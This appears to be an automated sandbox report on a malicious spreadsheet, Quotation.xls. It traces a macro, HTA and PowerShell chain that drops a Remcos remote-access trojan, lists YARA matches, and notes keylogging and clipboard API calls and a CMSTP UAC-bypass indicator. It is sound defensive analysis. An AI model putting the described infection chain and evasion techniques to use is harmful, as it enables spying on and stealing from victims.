Source: winiti.exe, 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityX
Source: csrss[1].exe.7.dr	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: winiti.exe, 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000000.447217263.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 0000000B.00000002.451807346.0000000143000000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484524464.0000000142800000.00000004.00001000.00020000.00000000.sdmp, winiti.exe, 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe, 00000016.00000000.481803220.000000013F78B000.00000002.00000001.01000000.0000000B.sdmp, winiti.exe.7.dr, csrss[1].exe.7.dr	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.453446463.0000000012451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.455975386.000000001C428000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C44B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C440000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.455975386.000000001C455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,00000000

25_2_0040A2B8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

25_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

25_2_004168C1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,

25_2_0040B70E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

25_2_0040A3E0

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Excel sheet contains many unusual embedded objects

Source: Quotation.xls	OLE: Microsoft Excel 2007+
Source: ~DF91B6A489623540E3.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: 37330000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta

Jump to behavior

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\winiti.exe			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,

25_2_004167B4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE89AC352E	7_2_000007FE89AC352E
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE00750	11_2_000000013FE00750
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDFED00	11_2_000000013FDFED00
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDFC350	11_2_000000013FDFC350
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDE9140	11_2_000000013FDE9140
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDEFF90	11_2_000000013FDEFF90
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDF8F30	11_2_000000013FDF8F30
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDFDE20	11_2_000000013FDFDE20
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDFF550	11_2_000000013FDFF550
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDEE4E0	11_2_000000013FDEE4E0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE02480	11_2_000000013FE02480
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDE2C50	11_2_000000013FDE2C50
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDE6BB6	11_2_000000013FDE6BB6
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE08BC0	11_2_000000013FE08BC0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDF8AB0	11_2_000000013FDF8AB0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDEF9E4	11_2_000000013FDEF9E4
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE019F0	11_2_000000013FE019F0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE84160	11_2_000000013FE84160
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE04160	11_2_000000013FE04160
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE028F0	11_2_000000013FE028F0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDE3910	11_2_000000013FDE3910
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FDD80B0	11_2_000000013FDD80B0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 11_2_000000013FE037F0	11_2_000000013FE037F0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F620750	22_2_000000013F620750
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F61ED00	22_2_000000013F61ED00
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F61C350	22_2_000000013F61C350
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F609140	22_2_000000013F609140
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F618F30	22_2_000000013F618F30
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F60FF90	22_2_000000013F60FF90
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F61DE20	22_2_000000013F61DE20
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F61F550	22_2_000000013F61F550
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F602C50	22_2_000000013F602C50
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F60E4E0	22_2_000000013F60E4E0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F622480	22_2_000000013F622480
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F606BB6	22_2_000000013F606BB6
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F628BC0	22_2_000000013F628BC0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F60F9E4	22_2_000000013F60F9E4
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F6219F0	22_2_000000013F6219F0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F618AB0	22_2_000000013F618AB0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F6A4160	22_2_000000013F6A4160
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F624160	22_2_000000013F624160
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F603910	22_2_000000013F603910
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F6228F0	22_2_000000013F6228F0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F6237F0	22_2_000000013F6237F0
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: 22_2_000000013F5F80B0	22_2_000000013F5F80B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0043E0CC	25_2_0043E0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0041F0FA	25_2_0041F0FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00454159	25_2_00454159
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00438168	25_2_00438168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_004461F0	25_2_004461F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0043E2FB	25_2_0043E2FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0045332B	25_2_0045332B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0042739D	25_2_0042739D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_004374E6	25_2_004374E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0043E558	25_2_0043E558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00438770	25_2_00438770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_004378FE	25_2_004378FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00433946	25_2_00433946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0044D9C9	25_2_0044D9C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00427A46	25_2_00427A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0041DB62	25_2_0041DB62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00427BAF	25_2_00427BAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00437D33	25_2_00437D33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00435E5E	25_2_00435E5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00426E0E	25_2_00426E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0043DE9D	25_2_0043DE9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00413FCA	25_2_00413FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00436FEA	25_2_00436FEA

Source: Quotation.xls

OLE indicator, VBA macros: true

Source: ~DF91B6A489623540E3.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: String function: 000000013F5F9D50 appears 51 times
Source: C:\Users\user\AppData\Roaming\winiti.exe	Code function: String function: 000000013FDD9D50 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00434E10 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00434770 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00401E65 appears 34 times

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
